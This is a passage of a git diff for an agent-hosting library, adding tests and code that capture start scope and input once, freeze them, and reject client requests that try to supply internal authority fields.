as MastraCompositeStore); const runtime = { status: vi.fn(async (_workflowId: string, runId: string) => { const started = mocked.stream.mock.calls.some( @@ -257,10 +281,12 @@ function harness( id: 'operator-1', role: 'operator', }, - init: { - runtime, - pubsub: undefined, - } as unknown as InitResult, + init: + options.init ?? + ({ + runtime, + pubsub: undefined, + } as unknown as InitResult), } satisfies ThreadScope; const moduleScopes: AgentThreadInstanceScope[] = []; const storageScopes: AgentThreadInstanceScope[] = []; @@ -490,6 +516,7 @@ async function seedThreadlessSchedule( } beforeEach(() => { + mocked.mastra.mockReset(); mocked.stream.mockReset().mockResolvedValue({}); mocked.resumeViaRuntime.mockReset(); mocked.observe.mockReset(); @@ -542,6 +569,647 @@ function seedRecoveryState( } } +function cDeferred() { + let resolve = () => {}; + const promise = new Promise((done) => { + resolve = done; + }); + return { promise, resolve }; +} + +const C_START_INPUT: ThreadAgentStartInput = { + agentId: 'writer', + threadId: 'acme_thread', + resourceId: RESOURCE_ID, + runId: 'acme_run', + prompt: 'original', + entryPath: 'http.start', +}; + +function cObserved( + values: T, + mode: 'alternate' | 'second-throw' = 'second-throw', +) { + const counts = new Map(); + const source = {} as T; + for (const key of Object.keys(values) as Array) { + Object.defineProperty(source, key, { + enumerable: true, + configurable: true, + get() { + const count = (counts.get(key) ?? 0) + 1; + counts.set(key, count); + if (count > 1) { + if (mode === 'second-throw') + throw new Error(`second read: ${String(key)}`); + return 'replacement'; + } + return values[key]; + }, + }); + } + return { source, counts, values }; +} + +describe('C direct thread host capture', () => { + it.each( + [ + 'mutationEpoch', + 'startIdentity', + 'agentStart', + 'execution', + 'tablePrefix', + 'startToken', + 'attemptToken', + 'runOwnerGuard', + 'onPreparedStartIdentity', + ].flatMap((field) => [null, 2].map((value) => ({ field, value }))), + )('C thread host refuses internal JSON authority before effects ($field, $value)', async ({ + field, + value, + }) => { + const fixture = harness(); + const reserve = vi.spyOn(fixture.resourceAccess, 'reserveAll'); + const error = await fixture.host + .route( + new Request('https://thread/_flowsafe/agent-host/start', { + method: 'POST', + headers: { 'content-type': 'application/json' }, + body: JSON.stringify({ ...C_START_INPUT, [field]: value }), + }), + fixture.scope, + ) + .catch((cause: unknown) => cause); + expect(error).toBeInstanceOf(Error); + const response = doErrorResponse(error); + expect(response.status).toBe(400); + expect(await response.json()).toEqual({ + error: 'start owner and requester are derived from trusted provenance', + }); + expect(reserve).not.toHaveBeenCalled(); + expect(mocked.stream).not.toHaveBeenCalled(); + expect(fixture.state.size).toBe(0); + expect(fixture.moduleScopes).toEqual([]); + expect(fixture.storageScopes).toEqual([]); + expect( + ( + await fixture.host.route( + new Request('https://thread/_flowsafe/agent-host/start', { + method: 'POST', + body: JSON.stringify(C_START_INPUT), + }), + fixture.scope, + ) + )?.status, + ).toBe(200); + expect(mocked.stream).toHaveBeenCalledOnce(); + }); + + it.each([ + 'normal', + 'failure', + 'recovery', + ] as const)('C thread host preserves v1 owner recovery without automatic activation: %s', async (phase) => { + const core = await vi.importActual( + '@mastra/core/mastra', + ); + mocked.mastra.mockImplementation( + (config: ConstructorParameters[0]) => + config?.workflows ? new core.Mastra(config) : undefined, + ); + const sql = openSqlite() as ReturnType & { + close(): void; + }; + const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase; + const storage = createD1Storage({ binding }); + await storage.init(); + const fence = new ExecutionFenceStore(binding); + await fence.seed('open'); + for (let index = 0; index < 2; index++) { + const before = await fence.read(); + const draining = await fence.transition({ + expected: 'open', + next: 'draining', + expectedMutationEpoch: before.mutationEpoch, + expectedRevision: before.transitionRevision, + advanceMutationEpoch: true, + }); + await fence.transition({ + expected: 'draining', + next: 'open', + expectedMutationEpoch: draining.mutationEpoch, + expectedRevision: draining.transitionRevision, + }); + } + expect(await fence.read()).toMatchObject({ + state: 'open', + mutationEpoch: 2, + requireMutationEpoch: true, + }); + const failure = new Error('C thread provider failed'); + const app = init( + { storage }, + { + executionFence: fence, + startIdempotency: 'none', + requestContextForRun: () => { + if (phase === 'failure') throw failure; + return {}; + }, + }, + ); + const schema = z.object({ + agentId: z.string(), + runId: z.string(), + messageListState: z.object({ memoryInfo: z.null() }), + }); + app + .createWorkflow({ + id: 'durable-agentic-loop', + inputSchema: schema, + outputSchema: schema, + }) + .then( + app.createStep({ + id: 'c-host-step', + inputSchema: schema, + outputSchema: schema, + execute: async ({ inputData }) => inputData, + }), + ) + .commit(); + const workflows = (await storage.getStore( + 'workflows', + )) as FencedWorkflowsStorageD1; + const native = workflows[FENCED_WORKFLOW_STORAGE]; + if (!native) throw new Error('missing managed owned workflow capability'); + const counts = { admission: 0, terminalization: 0 }; + const capability: FencedWorkflowAdmissionCapability = { + ...native, + withInitialAdmission: (input, create) => { + counts.admission++; + return native.withInitialAdmission(input, create); + }, + terminalizeInitialAdmission: (input) => { + counts.terminalization++; + return native.terminalizeInitialAdmission(input); + }, + }; + Object.defineProperty(workflows, FENCED_WORKFLOW_STORAGE, { + value: capability, + configurable: true, + }); + const fixture = harness(['writer'], { init: app, storage }); + Object.assign(fixture.scope, { mutationEpoch: 2 }); + expect(fixture.scope.init.runtime).toBe(app.runtime); + const writes: Array<[string, unknown]> = []; + const put = fixture.stateStorage.put.bind(fixture.stateStorage); + vi.spyOn(fixture.stateStorage, 'put').mockImplementation( + async (key, value) => { + writes.push([key, structuredClone(value)]); + await put(key, value); + }, + ); + const settle = fixture.resourceAccess.settleReservation.bind( + fixture.resourceAccess, + ); + if (phase === 'recovery') + vi.spyOn( + fixture.resourceAccess, + 'settleReservation', + ).mockImplementationOnce(async (...args) => { + await settle(...args); + throw new Error('C lost thread settlement receipt'); + }); + mocked.stream.mockImplementation( + async ( + ...args: Parameters + ) => { + const [ + , + options, + requestedBy, + requestedByKind, + attemptToken, + scheduleDispatch, + idempotencyKey, + authority, + ] = args; + const runId = options.runId; + if (typeof runId !== 'string') + throw new Error('host omitted its runId'); + await app.runtime.start('durable-agentic-loop', { + runId, + inputData: { + agentId: 'writer', + runId, + messageListState: { memoryInfo: null }, + }, + storedRequestContext: Object.fromEntries( + options.requestContext?.entries() ?? [], + ), + requestedBy, + requestedByKind, + attemptToken, + scheduleDispatch, + idempotencyKey, + mutationEpoch: authority.mutationEpoch, + startIdentity: authority.startIdentity, + agentStart: authority.agentStart, + onPreparedStartIdentity: authority.onPreparedStartIdentity, + runOwnerGuard: authority.runOwnerGuard, + }); + return {}; + }, + ); + try { + const pending = fixture.host.start(fixture.scope, { + ...C_START_INPUT, + threaded: false, + }); + if (phase === 'failure') await expect(pending).rejects.toBe(failure); + else + expect(await pending).toMatchObject({ summary: { status: 'success' } }); + expect(mocked.stream).toHaveBeenCalledOnce(); + const args = mocked.stream.mock.calls[0]; + expect(args).toHaveLength(8); + expect(args?.[7]).toHaveProperty('onPreparedStartIdentity', undefined); + expect(Object.hasOwn(args?.[7], 'onPreparedStartIdentity')).toBe(true); + const journals = writes.filter(([key]) => + key.startsWith('flowsafe:agent-owner-recovery'), + ); + expect(journals).toEqual([ + [ + TEST_OWNER_RECOVERY_KEY, + { + version: 1, + agentId: 'writer', + threadId: 'acme_thread', + resourceId: RESOURCE_ID, + runId: 'acme_run', + owner: HUMAN_OWNER, + token: args?.[4], + threaded: false, + bindingPreexisting: false, + }, + ], + ]); + const snapshot = await workflows.loadWorkflowSnapshot({ + workflowName: 'durable-agentic-loop', + runId: 'acme_run', + }); + if (phase === 'failure') expect(snapshot).toBeNull(); + else { + expect(snapshot?.requestContext?.['flowsafe.runProvenance']).toEqual({ + version: 1, + requestedBy: 'operator-1', + requestedByKind: 'human', + startToken: args?.[4], + attemptToken: args?.[4], + resumeCounts: [], + }); + for (const key of [ + 'mutationEpoch', + 'startIdentity', + 'agentStart', + 'execution', + 'flowsafe.initialAdmission', + ]) + expect(snapshot?.requestContext).not.toHaveProperty(key); + expect(writes).toContainEqual([ + TEST_RUN_RECORD_KEY, + { + version: 2, + agentId: 'writer', + principal: fixture.scope.principal, + originEntryPath: 'http.start', + }, + ]); + } + if (phase === 'recovery') + expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(true); + await fixture.host.recoverOwnership(app.runtime, fixture.scope.threadId); + expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); + expect( + writes.filter(([key]) => + key.startsWith('flowsafe:agent-owner-recovery'), + ), + ).toEqual(journals); + } finally { + mocked.mastra.mockReset(); + sql.close(); + expect(counts).toEqual({ admission: 0, terminalization: 0 }); + } + }); + + it.each([ + ['human', true, 'authorize'], + ['human', false, 'authorize'], + ['service', false, 'source'], + ['system', false, 'source'], + ['service', true, 'authorize'], + ['system', true, 'authorize'], + ] as const)('C direct host keeps scope selectors and separate owners: %s threaded=%s at %s', async (kind, threaded, boundary) => { + const entered = cDeferred(); + const release = cDeferred(); + const principal: ExecutionPrincipal = + kind === 'human' + ? { kind, id: 'operator-1', role: 'operator' } + : { kind, id: `${kind}-starter`, purpose: 'schedule execution' }; + const scheduled = kind !== 'human'; + const entryPath = scheduled ? 'schedule.fire' : 'http.start'; + const authorize = vi.fn(async () => { + if (boundary === 'authorize') { + entered.resolve(); + await release.promise; + } + return { permissions: [], policyVersion: 'original' }; + }); + const fixture = harness(['writer'], { + principal, + allowedAutomation: + kind !== 'human' + ? [{ kind, entryPaths: ['schedule.fire'] }] + : undefined, + resolvePrincipalPermissions: authorize, + }); + if (scheduled) { + if (threaded) { + await seedThreadedSchedule( + fixture, + HUMAN_OWNER, + SCHEDULE_ID, + DISPATCH_ID, + 'acme_run', + ); + fixture.state.set(THREAD_BINDING_KEY, { + version: 1, + agentId: 'writer', + resourceId: RESOURCE_ID, + }); + } else await seedThreadlessSchedule(fixture); + } + const owner = { ...HUMAN_OWNER }; + const nativeOwner = fixture.resourceAccess.owner.bind( + fixture.resourceAccess, + ); + vi.spyOn(fixture.resourceAccess, 'owner').mockImplementation( + async (resourceKind, id) => { + if (resourceKind === 'schedule') { + if (boundary === 'source') { + entered.resolve(); + await release.promise; + } + return owner; + } + return nativeOwner(resourceKind, id); + }, + ); + const ownerCopied = cDeferred(); + const ownerRelease = cDeferred(); + const nativeGet = fixture.stateStorage.get.bind(fixture.stateStorage); + vi.spyOn(fixture.stateStorage, 'get').mockImplementation( + async (key: string) => { + if (key === TEST_OWNER_RECOVERY_KEY) { + ownerCopied.resolve(); + await ownerRelease.promise; + } + return nativeGet(key); + }, + ); + const scope = { ...fixture.scope, mutationEpoch: 2, deploymentTag: 'acme' }; + const originalInit = scope.init; + const input: ThreadAgentStartInput = { + ...C_START_INPUT, + entryPath, + threaded, + idempotencyKey: 'original-key', + scheduleId: scheduled ? SCHEDULE_ID : undefined, + dispatchId: scheduled ? DISPATCH_ID : undefined, + scheduleDispatchLease: scheduled ? 'executing' : undefined, + safeContext: { note: 'original' }, + providerOptions: undefined, + }; + const writes: Array<[string, unknown]> = []; + const nativePut = fixture.stateStorage.put.bind(fixture.stateStorage); + vi.spyOn(fixture.stateStorage, 'put').mockImplementation( + async (key, value) => { + writes.push([key, structuredClone(value)]); + await nativePut(key, value); + }, + ); + const reserve = vi.spyOn(fixture.resourceAccess, 'reserveAll'); + const pending = fixture.host.start(scope, input); + const outcome = pending.then( + (result) => ({ result }), + (error: unknown) => ({ error }), + ); + try { + await entered.promise; + Object.assign(scope, { + principal: { kind: 'human', id: 'replacement', role: 'admin' }, + mutationEpoch: 3, + threadId: 'replacement', + deploymentTag: 'replacement', + init: {}, + }); + Object.assign(input, { + agentId: 'replacement', + threadId: 'replacement', + resourceId: 'replacement', + runId: 'replacement', + prompt: 'replacement', + messages: ['replacement'], + entryPath: 'signal.resume', + threaded: !threaded, + scheduleId: 'replacement', + dispatchId: 'replacement', + scheduleDispatchLease: undefined, + idempotencyKey: 'replacement', + safeContext: { note: 'replacement' }, + providerOptions: { replacement: true }, + }); + release.resolve(); + const reached = await Promise.race([ + ownerCopied.promise.then(() => true), + outcome.then(() => false), + ]); + expect( + reached, + 'captured scope reaches storage after authorization', + ).toBe(true); + owner.id = 'replacement-owner'; + } finally { + release.resolve(); + ownerRelease.resolve(); + await outcome; + } + const result = await pending; + expect(mocked.stream).toHaveBeenCalledOnce(); + const args = mocked.stream.mock.calls[0]; + expect(args).toHaveLength(8); + const authority = args?.[7]; + expect(args?.[0]).toBe(scheduled ? 'scheduled' : 'original'); + expect(args?.[1]).toMatchObject({ + runId: 'acme_run', + disableBackgroundTasks: true, + maxSteps: 1, + }); + expect(args?.[1].memory).toEqual( + threaded ? { thread: 'acme_thread', resource: RESOURCE_ID } : undefined, + ); + expect(args?.slice(2, 4)).toEqual([principal.id, principal.kind]); + expect(args?.[4]).toEqual(expect.any(String)); + expect(args?.[5]).toEqual( + scheduled + ? { scheduleId: SCHEDULE_ID, dispatchId: DISPATCH_ID } + : undefined, + ); + expect(args?.[6]).toBe('original-key'); + expect(authority).toEqual({ + mutationEpoch: 2, + startIdentity: { + owner: { kind: principal.kind, id: principal.id }, + target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' }, + }, + agentStart: { threaded }, + onPreparedStartIdentity: undefined, + runOwnerGuard: { owner: HUMAN_OWNER, reservationToken: args?.[4] }, + }); + expect(Object.hasOwn(authority, 'onPreparedStartIdentity')).toBe(true); + expect(reserve.mock.calls[0]).toEqual([ + [ + { kind: 'thread', resourceId: 'acme_thread' }, + { kind: 'resource', resourceId: RESOURCE_ID }, + { kind: 'run', resourceId: 'acme_run' }, + ], + HUMAN_OWNER, + args?.[4], + ]); + expect( + writes.filter(([key]) => key.startsWith(OWNER_RECOVERY_PREFIX)), + ).toEqual([ + [ + TEST_OWNER_RECOVERY_KEY, + { + version: 1, + agentId: 'writer', + threadId: 'acme_thread', + resourceId: RESOURCE_ID, + runId: 'acme_run', + owner: HUMAN_OWNER, + token: args?.[4], + threaded, + bindingPreexisting: scheduled && threaded, + }, + ], + ]); + expect(writes).toContainEqual([ + TEST_RUN_RECORD_KEY, + { version: 2, agentId: 'writer', principal, originEntryPath: entryPath }, + ]); + expect(result).toMatchObject({ + agentId: 'writer', + threadId: 'acme_thread', + resourceId: RESOURCE_ID, + }); + expect(fixture.moduleScopes[0]).toMatchObject({ + threadId: 'acme_thread', + deploymentTag: 'acme', + init: originalInit, + }); + expect(Object.isFrozen(scope)).toBe(false); + expect(Object.isFrozen(input)).toBe(false); + expect(Object.isFrozen(owner)).toBe(false); + }); + + it.each([ + 'alternate', + 'second-throw', + ] as const)('C direct host captures every declared scope and input getter once: %s', async (mode) => { + const fixture = harness(); + const scope = cObserved( + { ...fixture.scope, mutationEpoch: 2, deploymentTag: 'acme' }, + mode, + ); + const input = cObserved( + { + ...C_START_INPUT, + messages: undefined, + threaded: false, + scheduleId: undefined, + dispatchId: undefined, + scheduleDispatchLease: undefined, + safeContext: { note: 'original' }, + providerOptions: undefined, + idempotencyKey: 'original-key', + }, + mode, + ); + await fixture.host.start(scope.source, input.source); + expect([...scope.counts.values()]).toEqual( + Object.keys(scope.values).map(() => 1), + ); + expect([...input.counts.values()]).toEqual( + Object.keys(input.values).map(() => 1), + ); + expect(mocked.stream.mock.calls[0]).toHaveLength(8); + expect(mocked.stream.mock.calls[0]?.[7].mutationEpoch).toBe(2); + expect(mocked.stream.mock.calls[0]?.[7].agentStart).toEqual({ + threaded: false, + }); + }); + + it.each([ + 'principal', + 'mutationEpoch', + 'threadId', + 'deploymentTag', + 'init', + 'agentId', + 'runId', + 'resourceId', + 'prompt', + 'messages', + 'entryPath', + 'threaded', + 'scheduleId', + 'dispatchId', + 'scheduleDispatchLease', + 'safeContext', + 'providerOptions', + 'idempotencyKey', + ])('C direct host preserves first capture fault without effects: %s', async (key) => { + const fixture = harness(); + const scope = { ...fixture.scope, mutationEpoch: 2, deploymentTag: 'acme' }; + const input = { ...C_START_INPUT }; + const fault = new Error(`first fault ${key}`); + Object.defineProperty( + [ + 'principal', + 'mutationEpoch', + 'threadId', + 'deploymentTag', + 'init', + ].includes(key) + ? scope + : input, + key, + { + get() { + throw fault; + }, + }, + ); + const reserve = vi.spyOn(fixture.resourceAccess, 'reserveAll'); + await expect(fixture.host.start(scope, input)).rejects.toBe(fault); + expect(mocked.stream).not.toHaveBeenCalled(); + expect(reserve).not.toHaveBeenCalled(); + expect(fixture.state.size).toBe(0); + expect(fixture.moduleScopes).toEqual([]); + }); +}); + describe('createThreadAgentHost owner recovery', () => { it('persists and arms the recovery journal before reserving ownership', async () => { const { host, scope, state, resourceAccess, alarmAt } = harness(); @@ -1694,6 +2362,18 @@ describe('createThreadAgentHost', () => { // positionally on every start, and undefined on one that has neither. undefined, undefined, + { + startIdentity: { + owner: HUMAN_OWNER, + target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' }, + }, + agentStart: { threaded: false }, + onPreparedStartIdentity: undefined, + runOwnerGuard: { + owner: HUMAN_OWNER, + reservationToken: expect.any(String), + }, + }, ); }); @@ -1751,9 +2431,9 @@ describe('createThreadAgentHost', () => { ); expect(response?.status).toBe(200); - // Five host arguments plus the two trailing optionals (schedule dispatch, - // reserved idempotency key), both undefined for this start. - expect(mocked.stream.mock.calls.at(-1)).toHaveLength(7); + // Five host arguments, two undefined optionals (schedule dispatch and + // reserved idempotency key), then the required captured authority. + expect(mocked.stream.mock.calls.at(-1)).toHaveLength(8); expect(discardScheduleDispatch).not.toHaveBeenCalled(); await expect( fixture.resources.owner('run', 'acme_run'), @@ -2004,6 +2684,18 @@ describe('createThreadAgentHost', () => { expect.any(String), undefined, undefined, + { + startIdentity: { + owner: { kind: 'service', id: 'webhook-dispatcher' }, + target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' }, + }, + agentStart: { threaded: true }, + onPreparedStartIdentity: undefined, + runOwnerGuard: { + owner: { kind: 'service', id: 'webhook-dispatcher' }, + reservationToken: expect.any(String), + }, + }, ); await expect( fixture.resources.owner('run', 'acme_service_run'), @@ -2237,6 +2929,18 @@ describe('createThreadAgentHost', () => { expect.any(String), undefined, undefined, + { + startIdentity: { + owner: { kind: 'system', id: 'signal-dispatcher' }, + target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' }, + }, + agentStart: { threaded: true }, + onPreparedStartIdentity: undefined, + runOwnerGuard: { + owner: HUMAN_OWNER, + reservationToken: expect.any(String), + }, + }, ); await expect( fixture.resources.owner('run', 'acme_signal_wake'), diff --git a/packages/flowsafe/src/agent-host/thread-host.ts b/packages/flowsafe/src/agent-host/thread-host.ts index 19212d2b..b49c54bb 100644 --- a/packages/flowsafe/src/agent-host/thread-host.ts +++ b/packages/flowsafe/src/agent-host/thread-host.ts @@ -11,6 +11,7 @@ import { AGENT_RUN_STORAGE_KEY_PREFIX, type AgentEntryPath, type AgentRunRecord, + type AgentStartAuthority, type AgentThreadBinding, bindAgentThread, createFlowsafeDurableAgent, @@ -39,8 +40,10 @@ import { } from '../approval-api/index.js'; import { type AutomatedExecutionPrincipal, + assertExecutionPrincipal, isExecutionPrincipalId, } from '../approval-api/principal.js'; +import { normalizeMutationEpoch } from '../do-runner/execution-admission.js'; import { DoStatusError, isPathSafeId, @@ -1361,8 +1364,55 @@ export function createThreadAgentHost( throw error; } }), - start: async (scope, input) => { - const ref = runRef(scope, input as unknown as Record); + start: async (sourceScope, sourceInput) => { + const principal = assertExecutionPrincipal( + sourceScope.principal, + 'thread start principal', + ); + const mutationEpoch = normalizeMutationEpoch(sourceScope.mutationEpoch); + const { threadId, deploymentTag, init } = sourceScope; + const scope: ThreadScope = Object.freeze({ + principal, + mutationEpoch, + threadId, + deploymentTag, + init, + }); + const { + agentId, + threadId: inputThreadId, + resourceId, + runId, + prompt, + messages: inputMessages, + entryPath: inputEntryPath, + threaded: inputThreaded, + scheduleId, + dispatchId, + scheduleDispatchLease, + safeContext: inputSafeContext, + providerOptions: inputProviderOptions, + idempotencyKey, + } = sourceInput; + const input: ThreadAgentStartInput = { + agentId, + threadId: inputThreadId, + resourceId, + runId, + prompt, + messages: inputMessages, + entryPath: inputEntryPath, + threaded: inputThreaded, + scheduleId, + dispatchId, + scheduleDispatchLease, + safeContext: inputSafeContext, + providerOptions: inputProviderOptions, + idempotencyKey, + }; + const ref = Object.freeze( + runRef(scope, input as unknown as Record), + ); const entry = entryPath(input.entryPath); const threaded = input.threaded !== false; const source = await resolveStartSource( @@ -1373,6 +1423,21 @@ export function createThreadAgentHost( input.scheduleId, input.dispatchId, ); + const rawOwner = source.owner; + const owner = canonicalResourceOwner({ + kind: rawOwner.kind, + id: rawOwner.id, + }); + const startIdentity: AgentStartAuthority['startIdentity'] = Object.freeze( + { + owner: principalOwner(principal), + target: Object.freeze({ + kind: 'agent', + id: ref.agentId, + threadId: ref.threadId, + }), + }, + ); const hasPrompt = source.target === undefined && input.prompt !== undefined; const hasMessages = @@ -1400,7 +1465,6 @@ export function createThreadAgentHost( const resolvedProviderOptions = source.target ? source.target.providerOptions : input.providerOptions; - const owner = source.owner; const { current, module, principalPermissions } = await authorize( scope, ref.agentId, @@ -1546,7 +1610,7 @@ export function createThreadAgentHost( const streamOptions = { runId: ref.runId, requestContext: createTrustedAgentRequestContext(execution), - ...(input.threaded !== false + ...(threaded ? { memory: { thread: scope.threadId, @@ -1570,11 +1634,18 @@ export function createThreadAgentHost( await durable.streamUntilPersisted( messages, streamOptions, - scope.principal.id, - scope.principal.kind, + principal.id, + principal.kind, recovery.token, scheduleDispatch, - input.idempotencyKey, + idempotencyKey, + { + ...(mutationEpoch === undefined ? {} : { mutationEpoch }), + startIdentity, + agentStart: { threaded }, + onPreparedStartIdentity: undefined, + runOwnerGuard: { owner, reservationToken: recovery.token }, + }, ); const summary = await scope.init.runtime.status( DURABLE_AGENTIC_LOOP_WORKFLOW_ID, @@ -1763,7 +1834,21 @@ export function createThreadAgentHost( url.pathname === `${AGENT_HOST_ROUTE_PREFIX}/start` ) { const body = await objectBody(request); - if ('resourceOwner' in body || 'requestedBy' in body) { + if ( + 'resourceOwner' in body || + 'requestedBy' in body || + [ + 'mutationEpoch', + 'startIdentity', + 'agentStart', + 'execution', + 'tablePrefix', + 'startToken', + 'attemptToken', + 'runOwnerGuard', + 'onPreparedStartIdentity', + ].some((key) => Object.hasOwn(body, key)) + ) { throw new AgentHostRequestError( 400, 'start owner and requester are derived from trusted provenance', diff --git a/packages/flowsafe/src/agent-host/thread-topology.test.ts b/packages/flowsafe/src/agent-host/thread-topology.test.ts index 60044a8c..40c77027 100644 --- a/packages/flowsafe/src/agent-host/thread-topology.test.ts +++ b/packages/flowsafe/src/agent-host/thread-topology.test.ts @@ -1,6 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 -import { describe, expect, it } from 'vitest'; +import { describe, expect, it, vi } from 'vitest'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; import type { ActorContext, ApprovalRecord } from '../approval-api/index.js'; import { @@ -417,11 +417,13 @@ function keyedHarness(options: { now?: () => number } = {}) { const runsByThread = new Map(); const starts: Array<{ threadId: string; runId: string; key?: string }> = []; const inFlight = new Set(); + const hits: Hit[] = []; const namespace: ThreadNamespaceLike = { idFromName: (name) => name, get: (threadId) => ({ fetch: (async (request: Request | string, init?: ThreadRequestInit) => { const url = typeof request === 'string' ? request : request.url; + hits.push({ threadId, url, init }); if (url.includes('/start-liveness')) { const runId = url.split('/runs/')[1]?.split('/')[1] ?? ''; return Response.json({ @@ -476,6 +478,7 @@ function keyedHarness(options: { now?: () => number } = {}) { starts, runsByThread, inFlight, + hits, topology: createAgentThreadTopology(namespace, DEPLOYMENT_IDENTITY_SECRET, { startIdempotency: store, executionFence: 'none', @@ -483,6 +486,257 @@ function keyedHarness(options: { now?: () => number } = {}) { }; } +function cDeferred() { + let resolve = () => {}; + const promise = new Promise((done) => { + resolve = done; + }); + return { promise, resolve }; +} + +describe('C agent topology capture', () => { + it.each([ + 'persisted', + 'live', + 'unclaimed', + ] as const)('C topology keeps captured authority and methods on the winning reservation: %s', async (state) => { + const fixture = keyedHarness(); + const scoped = context(); + Object.assign(scoped.value, { mutationEpoch: 2 }); + const principal = scoped.value.principal; + const resourceIdFromKey = scoped.value.resourceIdFromKey; + Object.defineProperty(scoped.value, 'resourceIdFromKey', { + configurable: true, + writable: true, + enumerable: false, + value: function (this: ActorContext, key: string) { + expect(this).toBe(scoped.value); + return resourceIdFromKey(key); + }, + }); + await fixture.store.reserve({ + key: 'original-key', + owner: { kind: principal.kind, id: principal.id }, + targetKind: 'agent', + targetId: 'writer', + threadId: 'winner-thread', + mintRunId: () => 'winner-run', + }); + if (state !== 'unclaimed') { + await fixture.store.claim('original-key', 'winner-run'); + fixture.runsByThread.set('winner-run', 'winner-thread'); + } + if (state === 'live') fixture.inFlight.add('winner-run'); + const entered = cDeferred(); + const release = cDeferred(); + const reserve = fixture.store.reserve.bind(fixture.store); + vi.spyOn(fixture.store, 'reserve').mockImplementationOnce( + async (...args) => { + entered.resolve(); + await release.promise; + return reserve(...args); + }, + ); + const input: Parameters[1] = { + agentId: 'writer', + prompt: 'original', + entryPath: 'http.start', + threaded: false, + topologyThreadId: 'candidate-thread', + runId: 'candidate-run', + idempotencyKey: 'original-key', + }; + const replacement = vi.fn(() => 'replacement-resource'); + const pending = fixture.topology.start(scoped.value, input); + const outcome = pending.then( + (value) => ({ value }), + (error: unknown) => ({ error }), + ); + try { + expect( + await Promise.race([ + entered.promise.then(() => true), + outcome.then(() => false), + ]), + ).toBe(true); + Object.assign(scoped.value, { + principal: { kind: 'human', id: 'replacement', role: 'admin' }, + mutationEpoch: 3, + resourceIdFromKey: replacement, + }); + Object.assign(input, { + agentId: 'replacement-agent', + runId: 'replacement-run', + topologyThreadId: 'replacement-thread', + idempotencyKey: 'replacement-key', + }); + } finally { + release.resolve(); + await outcome; + } + const result = await outcome; + if (state === 'live') + expect(result).toMatchObject({ + error: { + status: 503, + reason: { code: 'IDEMPOTENT_START_PENDING', runId: 'winner-run' }, + }, + }); + else + expect(result).toMatchObject({ + value: { + agentId: 'writer', + threadId: 'winner-thread', + runId: 'winner-run', + }, + }); + expect(fixture.hits.length).toBeGreaterThan(0); + for (const hit of fixture.hits) { + expect(hit.threadId).toBe('winner-thread'); + expect(hit.init?.headers).toMatchObject({ + 'x-flowsafe-mutation-epoch': '2', + 'x-flowsafe-principal': JSON.stringify(principal), + }); + expect(hit.url).not.toContain('replacement-agent'); + } + expect(fixture.starts).toEqual( + state === 'unclaimed' + ? [ + { + threadId: 'winner-thread', + runId: 'winner-run', + key: 'original-key', + }, + ] + : [], + ); + expect(scoped.runMints()).toBe(0); + expect(replacement).not.toHaveBeenCalled(); + }); + + it.each([ + ['access', false], + ['access', true], + ['F3', false], + ['F3', true], + ] as const)('C topology captures absent and supplied run IDs before F3: %s supplied=%s', async (boundary, supplied) => { + const fixture = keyedHarness(); + const scoped = context(); + Object.assign(scoped.value, { mutationEpoch: 2 }); + const principal = scoped.value.principal; + const entered = cDeferred(); + const release = cDeferred(); + vi.spyOn(scoped.value, 'canAccessResource').mockImplementationOnce( + async () => { + if (boundary === 'access') { + entered.resolve(); + await release.promise; + } + return true; + }, + ); + const reserve = fixture.store.reserve.bind(fixture.store); + const reserved = vi + .spyOn(fixture.store, 'reserve') + .mockImplementationOnce(async (...args) => { + if (boundary === 'F3') { + entered.resolve(); + await release.promise; + } + return reserve(...args); + }); + let runId = supplied ? 'original-run' : undefined; + const readRunId = vi.fn(() => runId); + const input: Parameters[1] = { + agentId: 'writer', + entryPath: 'schedule.fire', + scheduleId: 'original-schedule', + dispatchId: 'original-dispatch', + threadId: 'acme_original', + resourceId: 'acme_resource_acme_original', + topologyThreadId: 'acme_original', + idempotencyKey: 'original-key', + threaded: true, + prompt: 'original', + get runId() { + return readRunId(); + }, + }; + const replacementMint = vi.fn(() => 'replacement-run'); + const replacementResource = vi.fn(() => 'replacement-resource'); + const pending = fixture.topology.start(scoped.value, input); + const outcome = pending.then( + () => false, + () => false, + ); + try { + expect( + await Promise.race([entered.promise.then(() => true), outcome]), + ).toBe(true); + expect(readRunId).toHaveBeenCalledTimes(1); + expect(scoped.runMints()).toBe(0); + runId = 'replacement-run'; + Object.assign(input, { + agentId: 'replacement-agent', + entryPath: 'signal.wake', + scheduleId: 'replacement-schedule', + dispatchId: 'replacement-dispatch', + threadId: 'replacement-thread', + resourceId: 'replacement-resource', + topologyThreadId: 'replacement-topology', + idempotencyKey: 'replacement-key', + threaded: false, + prompt: 'replacement', + }); + Object.assign(scoped.value, { + principal: { kind: 'human', id: 'replacement', role: 'admin' }, + mutationEpoch: 3, + newRunId: replacementMint, + resourceIdFromKey: replacementResource, + }); + } finally { + release.resolve(); + await outcome; + } + const expectedRun = supplied ? 'original-run' : 'acme_run_1'; + expect(await pending).toMatchObject({ + agentId: 'writer', + runId: expectedRun, + threadId: 'acme_original', + }); + expect(fixture.starts).toEqual([ + { threadId: 'acme_original', runId: expectedRun, key: 'original-key' }, + ]); + expect(reserved.mock.calls[0]?.[0]).toMatchObject({ + owner: { kind: principal.kind, id: principal.id }, + targetId: 'writer', + threadId: 'acme_original', + key: 'original-key', + }); + const sent = fixture.hits.find((hit) => hit.url.endsWith('/start')); + expect(sent?.init?.headers).toMatchObject({ + 'x-flowsafe-mutation-epoch': '2', + 'x-flowsafe-principal': JSON.stringify(principal), + }); + expect(JSON.parse(sent?.init?.body ?? '{}')).toMatchObject({ + agentId: 'writer', + entryPath: 'schedule.fire', + threaded: true, + runId: expectedRun, + threadId: 'acme_original', + resourceId: 'acme_resource_acme_original', + idempotencyKey: 'original-key', + scheduleId: 'original-schedule', + dispatchId: 'original-dispatch', + prompt: 'original', + }); + expect(readRunId).toHaveBeenCalledTimes(1); + expect(scoped.runMints()).toBe(supplied ? 0 : 1); + expect(replacementMint).not.toHaveBeenCalled(); + 